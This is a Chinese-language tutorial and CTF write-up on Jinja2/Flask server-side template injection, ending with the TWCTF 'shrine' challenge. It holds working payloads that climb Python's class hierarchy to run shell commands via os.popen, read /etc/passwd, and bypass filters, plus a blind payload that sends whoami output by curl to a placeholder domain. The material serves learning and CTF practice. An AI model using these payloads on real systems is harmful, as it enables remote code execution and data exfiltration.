ssti
总的来说就是调用python或者框架的内建/全局类,变量,函数获取敏感信息/执行敏感操作,做题时先明确题目环境再去官方文档中查找全局变量,类,函数。
python继承链
一些python内置类属性和方法
__class__
返回当前对象实例的类。
#python2
>>> ''.__class__
<type 'str'>#python2中的基本数据类型视为type
#python3
>>> ''.__class__
<class 'str'>#python3中均为class
__bases__
返回一个由当前类父类构成的元组,由于python允许多重继承。
#python2
>>> str.__bases__
(<type 'basestring'>,)
#python3
>>> str.__bases__
(<class 'object'>,)
__globals__
返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。
in python2 func.func_globals is func.__globals__
#python2
>>> def g():
... local_a=1
... global a
... a=2
...
>>> b=1
>>> g.__globals__
{'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, '__name__': '__main__', '__doc__': None}
>>> g()
>>> g.__globals__
{'a': 2, 'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, '__name__': '__main__', '__doc__': None}
>>> import base64
>>> g.__globals__
{'a': 2, 'b': 1, 'g': <function g at 0x0000000002943B38>, '__builtins__': <module '__builtin__' (built-in)>, 'base64': <module 'base64' from 'C:\Python27\lib\base64.pyc'>, '__package__': None, '__name__': '__main__', '__doc__': None}
#python3
>>> def g():
... local_a=1
... global a
... a=2
...
>>> b=1
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1}
>>> g()
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1, 'a': 2}
>>> import base64
>>> g.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'g': <function g at 0x012A08E8>, 'b': 1, 'a': 2, 'base64': <module 'base64' from 'C:\\Program Files (x86)\\Python37-32\\lib\\base64.py'>}
__subclasses__()
返回一个由当前类的所有子类构成的列表。
>>> class class1:
... pass
...
>>> class class2(class1):
... pass
...
>>> class class3(class1):
... pass
...
>>> class1.__subclasses__()
[<class '__main__.class2'>, <class '__main__.class3'>]
python2中形如
class class1:
pass
的定义不会继承于object对象,所以不能用__subclasses__()方法,但在python3中即使这样声明也会继承于object。
#python2
(<type 'object'>,)
>>> class class1:
... pass
...
>>> class1.__bases__
()
#python3
(<class 'object'>,)
>>> class class1:
... pass
...
>>> class1.__bases__
(<class 'object'>,)
__builtins__/__builtins__
返回一个由内建函数函数名组成的列表。
#python2
if __name__ == '__main__':
__builtins__ is __builtin__#__builtins__是对__builtin__模块的引用
else:
__builtins__ is __builtin__.__dict__
#python3
if __name__ == '__main__':
__builtins__ is builtins#__builtins__是对builtins模块的引用
else:
__builtins__ is builtin.__dict__
__mro__
返回一个由当前类继承链组成的元组。
#python2
>>> str.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
#python3
>>> str.__mro__
(<class 'str'>, <class 'object'>)
__getitem__(index)
返回索引为index的值。
>>> [1,2,3].__getitem__(2)
3
基本思路
利用字符串,列表,元组,字典,集合等基本对象获取类,通过类获取基本类object,通过object获取敏感类对象。
获取基本类
#python2
>>> ''.__class__
<type 'str'>
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> ''.__class__.__bases__[0].__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[2]
<type 'object'>
>>> ''.__class__.__mro__.__getitem__(2)
<type 'object'>#用于中括号被过滤的情况
#python3
>>> ''.__class__
<class 'str'>
>>> ''.__class__.__bases__[0]
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__.__getitem__(1)
<type 'object'>#用于中括号被过滤的情况
通过基本类获取敏感操作类
#python2
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>, <type 'Struct'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'method-wrapper'>, <class '__main__.class4'>, <type '_hashlib.HASH'>]
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__()[40]
<type 'file'>
#python2&3
#python3中通过调用open()函数的方式创建file对象,python2中也可以这样创建file对象。
>>> file=__builtins__.open('')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: ''
创建file对象后以可通过read()/write()函数进行文件读写。
命令执行
#python2
>>> object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()
'1.txt\n'
>>>object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
'1.txt\n'
#python3
>>>object.__subclasses__()[139].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()
'1.txt\n'
>>>object.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
'1.txt\n'
在object.__subclasses__()[59/139].__init__.__globals__['__builtins__']
下储存了一些函数可供调用。
WAF绕过
request对象
#python2
{{''.[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
chr函数/拼接字符串
#python3
>>> object.__subclasses__()[139].__init__.__globals__['__builtins__']['chr'](0x27)
"'"
>>> object.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['chr'](0x27)
"'"
>>> __builtins__.chr(0x27)
"'"
curl请求携带参数
#python3
{% if ''.__class__.__mro__[2].__subclasses__()[139].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://yourdomainname/?i=`whoami`').read()=='p' %}1{% endif %}
既然可以使用if语句,同样也可以使用类似盲注的方式,逐字爆破。
例题
shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
过滤了括号,没法用__subclassess__获取子类,并且config和self置空。查看flask文档
Jinja 设置
在 Flask 中, Jinja2 默认配置如下:
- 当使用
render_template()
时,扩展名为.html
、.htm
、.xml
和.xhtml
的模板中开启自动转义。- 当使用
render_template_string()
时,字符串开启 自动转义。- 在模板中可以使用
{% autoescape %}
来手动设置是否转义。- Flask 在 Jinja2 环境中加入一些全局函数和辅助对象,以增强模板的功能。
标准环境
缺省情况下,以下全局变量可以在 Jinja2 模板中使用:
config
当前配置对象(
flask.config
)Changelog
request
当前请求对象(
flask.request
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。
session
当前会话对象(
flask.session
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。
g
请求绑定的全局变量(
flask.g
)。 在没有活动请求环境情况下渲染模板时,这个变量不可用。
url_for
()
flask.url_for()
函数。
get_flashed_messages
()Jinja 环境行为
这些添加到环境中的变量不是全局变量。与真正的全局变量不同的是这些变量在 已导入的模板的环境中是不可见的。这样做是基于性能的原因,同时也考虑让代 码更有条理。
那么意义何在?假设你需要导入一个宏,这个宏需要访问请求对象,那么你有两 个选择:
- 显式地把请求或都该请求有用的属性作为参数传递给宏。
- 导入“ with context ”宏。
导入方式如下:
{% from '_helpers.html' import my_macro with context %}
标准过滤器
在 Flask 中的模板中添加了以下 Jinja2 本身没有的过滤器:
tojson
()这个函数可以把对象转换为 JSON 格式。如果你要动态生成 JavaScript ,那么 这个函数非常有用。
doSomethingWith({{ user.username|tojson }});
在一个 单引号 HTML 属性中使用 |tojson 的输出也是安全的:Click me
请注意,在 0.10 版本之前的 Flask 中,如果在script
里面使用| tojson
的输出,请确保用| safe
禁用转义。 在 Flask 0.10 及更高版本中,这会自动发生。控制自动转义
自动转义是指自动对特殊字符进行转义。特殊字符是指 HTML ( 或 XML 和 XHTML ) 中的
&
、>
、<
、"
和'
。因为这些特殊字符代表了特 殊的意思,所以如果要在文本中使用它们就必须把它们替换为“实体”。如果不转义 ,那么用户就无法使用这些字符,而且还会带来安全问题。(参见 跨站脚本攻击(XSS) )有时候,如需要直接把 HTML 植入页面的时候,可能会需要在模板中关闭自动转义功 能。这个可以直接植入的 HTML 一般来自安全的来源,例如一个把标记语言转换为 HTML 的 转换器。
有三种方法可以控制自动转义:
- 在 Python 代码中,可以在把 HTML 字符串传递给模板之前,用
Markup
对象封装。一般情况下推荐使用这个方法。- 在模板中,使用
|safe
过滤器显式把一个字符串标记为安全的 HTML (例如:{{ myvariable|safe }}
)。- 临时关闭整个系统的自动转义。
在模板中关闭自动转义系统可以使用
{% autoescape %}
块:{% autoescape false %} <p>autoescaping is disabled here <p>{{ will_not_be_escaped }} {% endautoescape %}
在这样做的时候,要非常小心块中的变量的安全性。
注册过滤器
有两种方法可以在 Jinja2 中注册你自己的过滤器。要么手动把它们放入应用的
jinja_env
中,要么使用template_filter()
装饰器。下面两个例子功能相同,都是倒序一个对象:
@app.template_filter('reverse') def reverse_filter(s): return s[::-1] def reverse_filter(s): return s[::-1] app.jinja_env.filters['reverse'] = reverse_filter
装饰器的参数是可选的,如果不给出就使用函数名作为过滤器名。一旦注册完成后, 你就可以在模板中像 Jinja2 的内建过滤器一样使用过滤器了。例如,假设在环境中 你有一个 名为 mylist 的 Pyhton 列表:
{% for x in mylist | reverse %} {% endfor %}
环境处理器
环境处理器的作用是把新的变量自动引入模板环境中。环境处理器在模板被渲染前运 行,因此可以把新的变量自动引入模板环境中。它是一个函数,返回值是一个字典。 在应用的所有模板中,这个字典将与模板环境合并:
@app.context_processor def inject_user(): return dict(user=g.user)
上例中的环境处理器创建了一个值为 g.user 的 user 变量,并把这个变量加入 了模板环境中。这个例子只是用于说明工作原理,不是非常有用,因为在模板中, g 总是存在的。
传递值不仅仅局限于变量,还可以传递函数( Python 提供传递函数的功能):
@app.context_processor def utility_processor(): def format_price(amount, currency=u'€'): return u'{0:.2f}{1}'.format(amount, currency) return dict(format_price=format_price)
上例中的环境处理器把 format_price 函数传递给了所有模板:
{{ format_price(0.33) }}
你还可以把 format_price 创建为一个模板过滤器(参见 注册过滤器 ),这里只是演示如何在一个环境处理器中传递函数。
flask为jinja2模板提供了两个函数get_flashed_messages()和url_for(),选择任意一个函数,构造payload
http://domainname/shrine/{{url_for.__globals__}}
提交后看到回显里有一个current_app属性,构造payload
http://domainname/shrine/{{url_for.__globals__.current_app.config}}
或者http://domainname/shrine/{{url_for.__globals__.['current_app']['config']}}
即可获取flag
给出一个ctftime上的wp
# search.py def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj)
#app.py import flask import os from flask import request from search import search app = flask.Flask(__name__) app.config['FLAG'] = 'TWCTF_FLAG' @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): for path, obj in search(request, 10): if str(obj) == app.config['FLAG']: return path if __name__ == '__main__': app.run(debug=True)
$ python3 app.py & $ curl 0:5000/shrine/123 obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG'] $ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}" TWCTF{pray_f0r_sacred_jinja2}
这个wp中的payload很长是因为search函数进行了深度优先搜索,利用request作为起点的payload也可以简化为
request._get_data_for_json.__globals__['current_app'].config['FLAG']
。总之就是通过__globals__获取全局变量。